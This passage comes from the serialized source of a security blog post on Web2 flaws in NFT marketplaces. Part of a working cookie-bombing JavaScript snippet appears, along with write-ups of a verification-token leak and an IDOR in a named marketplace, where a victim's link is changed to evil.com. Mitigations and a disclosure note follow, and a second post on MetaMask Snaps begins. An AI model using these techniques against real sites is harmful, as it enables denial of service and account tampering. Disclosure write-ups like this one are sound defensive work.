\u003C/svg>\n","jsx",[37555],{"type":24,"tag":156,"props":37556,"children":37557},{"__ignoreMap":7},[37558,37597,37628,37635,37662,37693,37720,37728,37736,37743,37755,37830,37838,37853],{"type":24,"tag":930,"props":37559,"children":37560},{"class":932,"line":933},[37561,37565,37569,37573,37577,37581,37585,37589,37593],{"type":24,"tag":930,"props":37562,"children":37563},{"style":1158},[37564],{"type":30,"value":37268},{"type":24,"tag":930,"props":37566,"children":37567},{"style":1023},[37568],{"type":30,"value":37273},{"type":24,"tag":930,"props":37570,"children":37571},{"style":1023},[37572],{"type":30,"value":37278},{"type":24,"tag":930,"props":37574,"children":37575},{"style":1158},[37576],{"type":30,"value":1161},{"type":24,"tag":930,"props":37578,"children":37579},{"style":1270},[37580],{"type":30,"value":37287},{"type":24,"tag":930,"props":37582,"children":37583},{"style":1023},[37584],{"type":30,"value":37292},{"type":24,"tag":930,"props":37586,"children":37587},{"style":1158},[37588],{"type":30,"value":1161},{"type":24,"tag":930,"props":37590,"children":37591},{"style":1270},[37592],{"type":30,"value":37301},{"type":24,"tag":930,"props":37594,"children":37595},{"style":1158},[37596],{"type":30,"value":37306},{"type":24,"tag":930,"props":37598,"children":37599},{"class":932,"line":984},[37600,37604,37608,37612,37616,37620,37624],{"type":24,"tag":930,"props":37601,"children":37602},{"style":1158},[37603],{"type":30,"value":37314},{"type":24,"tag":930,"props":37605,"children":37606},{"style":1023},[37607],{"type":30,"value":37319},{"type":24,"tag":930,"props":37609,"children":37610},{"style":1023},[37611],{"type":30,"value":37324},{"type":24,"tag":930,"props":37613,"children":37614},{"style":1023},[37615],{"type":30,"value":37329},{"type":24,"tag":930,"props":37617,"children":37618},{"style":1270},[37619],{"type":30,"value":37334},{"type":24,"tag":930,"props":37621,"children":37622},{"style":1270},[37623],{"type":30,"value":37339},{"type":24,"tag":930,"props":37625,"children":37626},{"style":1158},[37627],{"type":30,"value":9105},{"type":24,"tag":930,"props":37629,"children":37630},{"class":932,"line":993},[37631],{"type":24,"tag":930,"props":37632,"children":37633},{"emptyLinePlaceholder":16},[37634],{"type":30,"value":2412},{"type":24,"tag":930,"props":37636,"children":37637},{"class":932,"line":1057},[37638,37642,37646,37650,37654,37658],{"type":24,"tag":930,"props":37639,"children":37640},{"style":35464},[37641],{"type":30,"value":11828},{"type":24,"tag":930,"props":37643,"children":37644},{"style":937},[37645],{"type":30,"value":37362},{"type":24,"tag":930,"props":37647,"children":37648},{"style":1023},[37649],{"type":30,"value":37367},{"type":24,"tag":930,"props":37651,"children":37652},{"style":1158},[37653],{"type":30,"value":1161},{"type":24,"tag":930,"props":37655,"children":37656},{"style":1270},[37657],{"type":30,"value":37376},{"type":24,"tag":930,"props":37659,"children":37660},{"style":35464},[37661],{"type":30,"value":9105},{"type":24,"tag":930,"props":37663,"children":37664},{"class":932,"line":1066},[37665,37669,37673,37677,37681,37685,37689],{"type":24,"tag":930,"props":37666,"children":37667},{"style":35464},[37668],{"type":30,"value":35483},{"type":24,"tag":930,"props":37670,"children":37671},{"style":937},[37672],{"type":30,"value":37392},{"type":24,"tag":930,"props":37674,"children":37675},{"style":35464},[37676],{"type":30,"value":2261},{"type":24,"tag":930,"props":37678,"children":37679},{"style":959},[37680],{"type":30,"value":34329},{"type":24,"tag":930,"props":37682,"children":37683},{"style":35464},[37684],{"type":30,"value":35518},{"type":24,"tag":930,"props":37686,"children":37687},{"style":937},[37688],{"type":30,"value":37392},{"type":24,"tag":930,"props":37690,"children":37691},{"style":35464},[37692],{"type":30,"value":9105},{"type":24,"tag":930,"props":37694,"children":37695},{"class":932,"line":1075},[37696,37700,37704,37708,37712,37716],{"type":24,"tag":930,"props":37697,"children":37698},{"style":35464},[37699],{"type":30,"value":35483},{"type":24,"tag":930,"props":37701,"children":37702},{"style":937},[37703],{"type":30,"value":35504},{"type":24,"tag":930,"props":37705,"children":37706},{"style":1023},[37707],{"type":30,"value":35629},{"type":24,"tag":930,"props":37709,"children":37710},{"style":1158},[37711],{"type":30,"value":1161},{"type":24,"tag":930,"props":37713,"children":37714},{"style":1270},[37715],{"type":30,"value":37436},{"type":24,"tag":930,"props":37717,"children":37718},{"style":35464},[37719],{"type":30,"value":9105},{"type":24,"tag":930,"props":37721,"children":37722},{"class":932,"line":1122},[37723],{"type":24,"tag":930,"props":37724,"children":37725},{"style":959},[37726],{"type":30,"value":37727},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":24,"tag":930,"props":37729,"children":37730},{"class":932,"line":1131},[37731],{"type":24,"tag":930,"props":37732,"children":37733},{"style":959},[37734],{"type":30,"value":37735},"   var Set_Cookie = Array(10000).join('a');\n",{"type":24,"tag":930,"props":37737,"children":37738},{"class":932,"line":1144},[37739],{"type":24,"tag":930,"props":37740,"children":37741},{"emptyLinePlaceholder":16},[37742],{"type":30,"value":2412},{"type":24,"tag":930,"props":37744,"children":37745},{"class":932,"line":1169},[37746,37751],{"type":24,"tag":930,"props":37747,"children":37748},{"style":959},[37749],{"type":30,"value":37750},"   for (var i = 1; i \u003C 99; i++) ",{"type":24,"tag":930,"props":37752,"children":37753},{"style":937},[37754],{"type":30,"value":13987},{"type":24,"tag":930,"props":37756,"children":37757},{"class":932,"line":1191},[37758,37763,37767,37772,37776,37781,37786,37790,37794,37799,37803,37808,37812,37817,37821,37826],{"type":24,"tag":930,"props":37759,"children":37760},{"style":1023},[37761],{"type":30,"value":37762},"    document",{"type":24,"tag":930,"props":37764,"children":37765},{"style":1158},[37766],{"type":30,"value":436},{"type":24,"tag":930,"props":37768,"children":37769},{"style":1023},[37770],{"type":30,"value":37771},"cookie",{"type":24,"tag":930,"props":37773,"children":37774},{"style":1158},[37775],{"type":30,"value":35999},{"type":24,"tag":930,"props":37777,"children":37778},{"style":1270},[37779],{"type":30,"value":37780},"'Cookie'",{"type":24,"tag":930,"props":37782,"children":37783},{"style":1158},[37784],{"type":30,"value":37785}," + ",{"type":24,"tag":930,"props":37787,"children":37788},{"style":1023},[37789],{"type":30,"value":6854},{"type":24,"tag":930,"props":37791,"children":37792},{"style":1158},[37793],{"type":30,"value":37785},{"type":24,"tag":930,"props":37795,"children":37796},{"style":1270},[37797],{"type":30,"value":37798},"'='",{"type":24,"tag":930,"props":37800,"children":37801},{"style":1158},[37802],{"type":30,"value":37785},{"type":24,"tag":930,"props":37804,"children":37805},{"style":1023},[37806],{"type":30,"value":37807},"Set_Cookie",{"type":24,"tag":930,"props":37809,"children":37810},{"style":1158},[37811],{"type":30,"value":37785},{"type":24,"tag":930,"props":37813,"children":37814},{"style":1270},[37815],{"type":30,"value":37816},"';Domain='",{"type":24,"tag":930,"props":37818,"children":37819},{"style":1158},[37820],{"type":30,"value":37785},{"type":24,"tag":930,"props":37822,"children":37823},{"style":1023},[37824],{"type":30,"value":37825},"Take_Domain",{"type":24,"tag":930,"props":37827,"children":37828},{"style":1158},[37829],{"type":30,"value":5539},{"type":24,"tag":930,"props":37831,"children":37832},{"class":932,"line":1223},[37833],{"type":24,"tag":930,"props":37834,"children":37835},{"style":937},[37836],{"type":30,"value":37837},"   }\n",{"type":24,"tag":930,"props":37839,"children":37840},{"class":932,"line":1281},[37841,37845,37849],{"type":24,"tag":930,"props":37842,"children":37843},{"style":35464},[37844],{"type":30,"value":37456},{"type":24,"tag":930,"props":37846,"children":37847},{"style":937},[37848],{"type":30,"value":35504},{"type":24,"tag":930,"props":37850,"children":37851},{"style":35464},[37852],{"type":30,"value":9105},{"type":24,"tag":930,"props":37854,"children":37855},{"class":932,"line":1313},[37856,37860,37864],{"type":24,"tag":930,"props":37857,"children":37858},{"style":35464},[37859],{"type":30,"value":37472},{"type":24,"tag":930,"props":37861,"children":37862},{"style":937},[37863],{"type":30,"value":37362},{"type":24,"tag":930,"props":37865,"children":37866},{"style":35464},[37867],{"type":30,"value":9105},{"type":24,"tag":33,"props":37869,"children":37870},{},[37871],{"type":30,"value":37872},"As a result, we're able to prevent the user from loading images.",{"type":24,"tag":68,"props":37874,"children":37876},{"id":37875},"authentication",[37877],{"type":30,"value":37878},"Authentication",{"type":24,"tag":33,"props":37880,"children":37881},{},[37882],{"type":24,"tag":6032,"props":37883,"children":37884},{},[37885,37887,37894],{"type":30,"value":37886},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":24,"tag":37,"props":37888,"children":37891},{"href":37889,"rel":37890},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[41],[37892],{"type":30,"value":37893},"great misfortune has occured",{"type":30,"value":436},{"type":24,"tag":151,"props":37896,"children":37898},{"id":37897},"verification-token-leakage",[37899],{"type":30,"value":37900},"Verification Token Leakage",{"type":24,"tag":33,"props":37902,"children":37903},{},[37904],{"type":30,"value":37905},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":24,"tag":33,"props":37907,"children":37908},{},[37909],{"type":30,"value":37910},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":24,"tag":33,"props":37912,"children":37913},{},[37914,37919],{"type":24,"tag":6032,"props":37915,"children":37916},{},[37917],{"type":30,"value":37918},"Proof of Concept",{"type":30,"value":37920},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":24,"tag":33,"props":37922,"children":37923},{},[37924],{"type":30,"value":37925},"Here's the breakdown.",{"type":24,"tag":33,"props":37927,"children":37928},{},[37929],{"type":30,"value":37930},"First, we send the verification link to a user's email:",{"type":24,"tag":34438,"props":37932,"children":37933},{"style":34440},[37934],{"type":24,"tag":140,"props":37935,"children":37939},{"src":37936,"alt":37937,"style":37938},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":24,"tag":33,"props":37941,"children":37942},{},[37943],{"type":30,"value":37944},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":24,"tag":151,"props":37946,"children":37948},{"id":37947},"idor",[37949],{"type":30,"value":37950},"IDOR",{"type":24,"tag":33,"props":37952,"children":37953},{},[37954],{"type":24,"tag":6032,"props":37955,"children":37956},{},[37957,37959,37966],{"type":30,"value":37958},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":24,"tag":37,"props":37960,"children":37963},{"href":37961,"rel":37962},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[41],[37964],{"type":30,"value":37965},"insect",{"type":30,"value":436},{"type":24,"tag":33,"props":37968,"children":37969},{},[37970,37972,37978],{"type":30,"value":37971},"During a security assessment of the ",{"type":24,"tag":37,"props":37973,"children":37976},{"href":37974,"rel":37975},"https://rocki.com",[41],[37977],{"type":30,"value":34376},{"type":30,"value":37979},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":24,"tag":33,"props":37981,"children":37982},{},[37983],{"type":30,"value":37984},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":24,"tag":33,"props":37986,"children":37987},{},[37988],{"type":30,"value":37989},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":24,"tag":33,"props":37991,"children":37992},{},[37993,37995,38001,38003,38008],{"type":30,"value":37994},"Here is an example of a request that modifies another user's social media link to ",{"type":24,"tag":156,"props":37996,"children":37998},{"className":37997},[],[37999],{"type":30,"value":38000},"https://evil.com/",{"type":30,"value":38002},". To achieve this, we simply changed the ",{"type":24,"tag":156,"props":38004,"children":38006},{"className":38005},[],[38007],{"type":30,"value":6602},{"type":30,"value":38009}," field value to one that belongs to another user:",{"type":24,"tag":33,"props":38011,"children":38012},{},[38013],{"type":24,"tag":140,"props":38014,"children":38016},{"alt":7,"src":38015},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":24,"tag":33,"props":38018,"children":38019},{},[38020],{"type":30,"value":38021},"The following screenshot is the response to our request:",{"type":24,"tag":33,"props":38023,"children":38024},{},[38025],{"type":24,"tag":140,"props":38026,"children":38028},{"alt":7,"src":38027},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":24,"tag":68,"props":38030,"children":38032},{"id":38031},"preventative-action-steps-for-marketplaces",[38033],{"type":24,"tag":275,"props":38034,"children":38035},{},[38036],{"type":30,"value":38037},"Preventative Action Steps for Marketplaces",{"type":24,"tag":33,"props":38039,"children":38040},{},[38041],{"type":30,"value":38042},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":24,"tag":33,"props":38044,"children":38045},{},[38046,38048,38054,38056,38062],{"type":30,"value":38047},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":24,"tag":156,"props":38049,"children":38051},{"className":38050},[],[38052],{"type":30,"value":38053},"innerText",{"type":30,"value":38055}," instead of ",{"type":24,"tag":156,"props":38057,"children":38059},{"className":38058},[],[38060],{"type":30,"value":38061},"innerHTML",{"type":30,"value":38063}," in client-side:",{"type":24,"tag":920,"props":38065,"children":38067},{"className":34455,"code":38066,"language":34457,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[38068],{"type":24,"tag":156,"props":38069,"children":38070},{"__ignoreMap":7},[38071],{"type":24,"tag":930,"props":38072,"children":38073},{"class":932,"line":933},[38074,38078,38082,38087,38091,38096,38100,38104,38108,38113],{"type":24,"tag":930,"props":38075,"children":38076},{"style":1023},[38077],{"type":30,"value":35795},{"type":24,"tag":930,"props":38079,"children":38080},{"style":959},[38081],{"type":30,"value":436},{"type":24,"tag":930,"props":38083,"children":38084},{"style":1002},[38085],{"type":30,"value":38086},"getElementById",{"type":24,"tag":930,"props":38088,"children":38089},{"style":959},[38090],{"type":30,"value":1010},{"type":24,"tag":930,"props":38092,"children":38093},{"style":1270},[38094],{"type":30,"value":38095},"'nftCollectionName'",{"type":24,"tag":930,"props":38097,"children":38098},{"style":959},[38099],{"type":30,"value":2716},{"type":24,"tag":930,"props":38101,"children":38102},{"style":1023},[38103],{"type":30,"value":38053},{"type":24,"tag":930,"props":38105,"children":38106},{"style":1158},[38107],{"type":30,"value":6137},{"type":24,"tag":930,"props":38109,"children":38110},{"style":1023},[38111],{"type":30,"value":38112}," nftCollectionName",{"type":24,"tag":930,"props":38114,"children":38115},{"style":959},[38116],{"type":30,"value":5539},{"type":24,"tag":33,"props":38118,"children":38119},{},[38120],{"type":30,"value":38121},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":24,"tag":920,"props":38123,"children":38125},{"className":34455,"code":38124,"language":34457,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[38126],{"type":24,"tag":156,"props":38127,"children":38128},{"__ignoreMap":7},[38129],{"type":24,"tag":930,"props":38130,"children":38131},{"class":932,"line":933},[38132,38137,38142,38146,38151,38155,38160,38164,38169],{"type":24,"tag":930,"props":38133,"children":38134},{"style":937},[38135],{"type":30,"value":38136},"var",{"type":24,"tag":930,"props":38138,"children":38139},{"style":1023},[38140],{"type":30,"value":38141}," sanitizedInput",{"type":24,"tag":930,"props":38143,"children":38144},{"style":1158},[38145],{"type":30,"value":6137},{"type":24,"tag":930,"props":38147,"children":38148},{"style":1023},[38149],{"type":30,"value":38150}," DOMPurify",{"type":24,"tag":930,"props":38152,"children":38153},{"style":959},[38154],{"type":30,"value":436},{"type":24,"tag":930,"props":38156,"children":38157},{"style":1002},[38158],{"type":30,"value":38159},"sanitize",{"type":24,"tag":930,"props":38161,"children":38162},{"style":959},[38163],{"type":30,"value":1010},{"type":24,"tag":930,"props":38165,"children":38166},{"style":1023},[38167],{"type":30,"value":38168},"userInput",{"type":24,"tag":930,"props":38170,"children":38171},{"style":959},[38172],{"type":30,"value":1278},{"type":24,"tag":33,"props":38174,"children":38175},{},[38176,38178,38185],{"type":30,"value":38177},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":24,"tag":37,"props":38179,"children":38182},{"href":38180,"rel":38181},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[41],[38183],{"type":30,"value":38184},"Content-Security-Policy",{"type":30,"value":38186}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":24,"tag":33,"props":38188,"children":38189},{},[38190],{"type":30,"value":38191},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":24,"tag":33,"props":38193,"children":38194},{},[38195,38197,38204],{"type":30,"value":38196},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":24,"tag":37,"props":38198,"children":38201},{"href":38199,"rel":38200},"https://www.techtarget.com/whatis/definition/whitelist",[41],[38202],{"type":30,"value":38203},"allow-list",{"type":30,"value":38205}," :",{"type":24,"tag":920,"props":38207,"children":38209},{"className":34455,"code":38208,"language":34457,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[38210],{"type":24,"tag":156,"props":38211,"children":38212},{"__ignoreMap":7},[38213,38242,38283,38313],{"type":24,"tag":930,"props":38214,"children":38215},{"class":932,"line":933},[38216,38220,38225,38229,38233,38238],{"type":24,"tag":930,"props":38217,"children":38218},{"style":937},[38219],{"type":30,"value":12762},{"type":24,"tag":930,"props":38221,"children":38222},{"style":1023},[38223],{"type":30,"value":38224}," allowDomains",{"type":24,"tag":930,"props":38226,"children":38227},{"style":1158},[38228],{"type":30,"value":6137},{"type":24,"tag":930,"props":38230,"children":38231},{"style":959},[38232],{"type":30,"value":26134},{"type":24,"tag":930,"props":38234,"children":38235},{"style":1270},[38236],{"type":30,"value":38237},"'https://allowed-domain'",{"type":24,"tag":930,"props":38239,"children":38240},{"style":959},[38241],{"type":30,"value":34666},{"type":24,"tag":930,"props":38243,"children":38244},{"class":932,"line":984},[38245,38249,38253,38257,38262,38266,38271,38275,38279],{"type":24,"tag":930,"props":38246,"children":38247},{"style":1079},[38248],{"type":30,"value":18683},{"type":24,"tag":930,"props":38250,"children":38251},{"style":959},[38252],{"type":30,"value":1087},{"type":24,"tag":930,"props":38254,"children":38255},{"style":1158},[38256],{"type":30,"value":3299},{"type":24,"tag":930,"props":38258,"children":38259},{"style":1023},[38260],{"type":30,"value":38261},"allowDomains",{"type":24,"tag":930,"props":38263,"children":38264},{"style":959},[38265],{"type":30,"value":436},{"type":24,"tag":930,"props":38267,"children":38268},{"style":1002},[38269],{"type":30,"value":38270},"includes",{"type":24,"tag":930,"props":38272,"children":38273},{"style":959},[38274],{"type":30,"value":1010},{"type":24,"tag":930,"props":38276,"children":38277},{"style":1023},[38278],{"type":30,"value":35805},{"type":24,"tag":930,"props":38280,"children":38281},{"style":959},[38282],{"type":30,"value":4542},{"type":24,"tag":930,"props":38284,"children":38285},{"class":932,"line":993},[38286,38291,38295,38300,38304,38309],{"type":24,"tag":930,"props":38287,"children":38288},{"style":1079},[38289],{"type":30,"value":38290},"  throw",{"type":24,"tag":930,"props":38292,"children":38293},{"style":937},[38294],{"type":30,"value":35023},{"type":24,"tag":930,"props":38296,"children":38297},{"style":1002},[38298],{"type":30,"value":38299}," ApolloError",{"type":24,"tag":930,"props":38301,"children":38302},{"style":959},[38303],{"type":30,"value":1010},{"type":24,"tag":930,"props":38305,"children":38306},{"style":1270},[38307],{"type":30,"value":38308},"'invalid domain'",{"type":24,"tag":930,"props":38310,"children":38311},{"style":959},[38312],{"type":30,"value":1278},{"type":24,"tag":930,"props":38314,"children":38315},{"class":932,"line":1057},[38316],{"type":24,"tag":930,"props":38317,"children":38318},{"style":959},[38319],{"type":30,"value":2528},{"type":24,"tag":33,"props":38321,"children":38322},{},[38323,38325,38332,38334,38341],{"type":30,"value":38324},"As ",{"type":24,"tag":37,"props":38326,"children":38329},{"href":38327,"rel":38328},"https://graphql.org/",[41],[38330],{"type":30,"value":38331},"GraphQl",{"type":30,"value":38333}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":24,"tag":37,"props":38335,"children":38338},{"href":38336,"rel":38337},"https://graphql.org/learn/introspection/",[41],[38339],{"type":30,"value":38340},"introspection",{"type":30,"value":38342}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":24,"tag":920,"props":38344,"children":38346},{"className":34455,"code":38345,"language":34457,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[38347],{"type":24,"tag":156,"props":38348,"children":38349},{"__ignoreMap":7},[38350,38379,38391,38403,38419],{"type":24,"tag":930,"props":38351,"children":38352},{"class":932,"line":933},[38353,38357,38362,38366,38370,38375],{"type":24,"tag":930,"props":38354,"children":38355},{"style":937},[38356],{"type":30,"value":12762},{"type":24,"tag":930,"props":38358,"children":38359},{"style":1023},[38360],{"type":30,"value":38361}," server",{"type":24,"tag":930,"props":38363,"children":38364},{"style":1158},[38365],{"type":30,"value":6137},{"type":24,"tag":930,"props":38367,"children":38368},{"style":937},[38369],{"type":30,"value":35023},{"type":24,"tag":930,"props":38371,"children":38372},{"style":1002},[38373],{"type":30,"value":38374}," ApolloServer",{"type":24,"tag":930,"props":38376,"children":38377},{"style":959},[38378],{"type":30,"value":18244},{"type":24,"tag":930,"props":38380,"children":38381},{"class":932,"line":984},[38382,38387],{"type":24,"tag":930,"props":38383,"children":38384},{"style":1023},[38385],{"type":30,"value":38386},"  typeDefs",{"type":24,"tag":930,"props":38388,"children":38389},{"style":959},[38390],{"type":30,"value":2832},{"type":24,"tag":930,"props":38392,"children":38393},{"class":932,"line":993},[38394,38399],{"type":24,"tag":930,"props":38395,"children":38396},{"style":1023},[38397],{"type":30,"value":38398},"  resolvers",{"type":24,"tag":930,"props":38400,"children":38401},{"style":959},[38402],{"type":30,"value":2832},{"type":24,"tag":930,"props":38404,"children":38405},{"class":932,"line":1057},[38406,38411,38415],{"type":24,"tag":930,"props":38407,"children":38408},{"style":1023},[38409],{"type":30,"value":38410},"  introspection:",{"type":24,"tag":930,"props":38412,"children":38413},{"style":937},[38414],{"type":30,"value":12167},{"type":24,"tag":930,"props":38416,"children":38417},{"style":959},[38418],{"type":30,"value":2832},{"type":24,"tag":930,"props":38420,"children":38421},{"class":932,"line":1066},[38422],{"type":24,"tag":930,"props":38423,"children":38424},{"style":959},[38425],{"type":30,"value":38426},"});\n",{"type":24,"tag":33,"props":38428,"children":38429},{},[38430,38432,38439,38441,38448],{"type":30,"value":38431},"Similarly, when ",{"type":24,"tag":37,"props":38433,"children":38436},{"href":38434,"rel":38435},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[41],[38437],{"type":30,"value":38438},"batching",{"type":30,"value":38440}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":24,"tag":37,"props":38442,"children":38445},{"href":38443,"rel":38444},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[41],[38446],{"type":30,"value":38447},"denial-of-service",{"type":30,"value":38449}," (DoS) attacks.",{"type":24,"tag":33,"props":38451,"children":38452},{},[38453],{"type":30,"value":38454},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":24,"tag":33,"props":38456,"children":38457},{},[38458],{"type":30,"value":38459},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":24,"tag":25,"props":38461,"children":38462},{"id":5876},[38463],{"type":30,"value":5879},{"type":24,"tag":33,"props":38465,"children":38466},{},[38467],{"type":30,"value":38468},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":24,"tag":33,"props":38470,"children":38471},{},[38472],{"type":30,"value":38473},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":24,"tag":68,"props":38475,"children":38477},{"id":38476},"disclaimer",[38478],{"type":30,"value":38479},"Disclaimer",{"type":24,"tag":33,"props":38481,"children":38482},{},[38483],{"type":30,"value":38484},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":24,"tag":5957,"props":38486,"children":38487},{},[38488],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":38490},[38491,38494,38500,38504,38505],{"id":27,"depth":984,"text":31,"children":38492},[38493],{"id":6039,"depth":993,"text":6042},{"id":34299,"depth":984,"text":34329,"children":38495},[38496,38497,38498,38499],{"id":34348,"depth":993,"text":34351},{"id":34413,"depth":993,"text":34416},{"id":37240,"depth":993,"text":37243},{"id":37530,"depth":993,"text":37533},{"id":37875,"depth":984,"text":37878,"children":38501},[38502,38503],{"id":37897,"depth":993,"text":37900},{"id":37947,"depth":993,"text":37950},{"id":38031,"depth":984,"text":38037},{"id":38476,"depth":984,"text":38479},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":38510,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":38511,"description":38512,"author":38513,"image":38514,"date":38516,"isFeatured":16,"onBlogPage":16,"body":38517,"_type":5983,"_id":43532,"_source":5985,"_file":43533,"_stem":43534,"_extension":5988},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[34293,34292],{"src":38515,"height":16730,"width":15},"/posts/metamask-snaps/header.png","2023-11-01",{"type":21,"children":38518,"toc":43513},[38519,38523,38528,38533,38538,38544,38549,38555,38568,38573,38578,38585,38617,38623,38628,38646,38653,38659,38673,38679,38699,38963,38991,38997,39016,39402,39421,39434,39752,39773,40044,40049,40055,40060,40073,40078,40091,40350,40394,40407,40413,40427,40433,40439,40452,40489,40495,40515,40626,40653,40659,40677,40690,40696,40701,40719,40830,40835,40856,40869,40886,40986,41012,41029,41151,41177,41189,41194,41200,41206,41211,41234,41239,41244,41250,41256,41283,41685,41712,41739,41745,41776,42085,42104,42109,42134,42147,42153,42180,42475,42511,42529,42534,42569,42574,42578,42583,42590,42595,42622,43399,43419,43425,43446,43495,43499,43504,43509],{"type":24,"tag":68,"props":38520,"children":38521},{"id":22058},[38522],{"type":30,"value":22061},{"type":24,"tag":33,"props":38524,"children":38525},{},[38526],{"type":30,"value":38527},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":24,"tag":33,"props":38529,"children":38530},{},[38531],{"type":30,"value":38532},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":24,"tag":33,"props":38534,"children":38535},{},[38536],{"type":30,"value":38537},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":24,"tag":68,"props":38539,"children":38541},{"id":38540},"sandbox-security",[38542],{"type":30,"value":38543},"Sandbox Security",{"type":24,"tag":33,"props":38545,"children":38546},{},[38547],{"type":30,"value":38548},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":24,"tag":151,"props":38550,"children":38552},{"id":38551},"permission-based-security",[38553],{"type":30,"value":38554},"Permission-based security",{"type":24,"tag":33,"props":38556,"children":38557},{},[38558,38560,38566],{"type":30,"value":38559},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":24,"tag":156,"props":38561,"children":38563},{"className":38562},[],[38564],{"type":30,"value":38565},"snap.manifest.json",{"type":30,"value":38567}," file and can be critical to security.",{"type":24,"tag":33,"props":38569,"children":38570},{},[38571],{"type":30,"value":38572},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":24,"tag":33,"props":38574,"children":38575},{},[38576],{"type":30,"value":38577},"Here are the critical permissions possible to be given to a 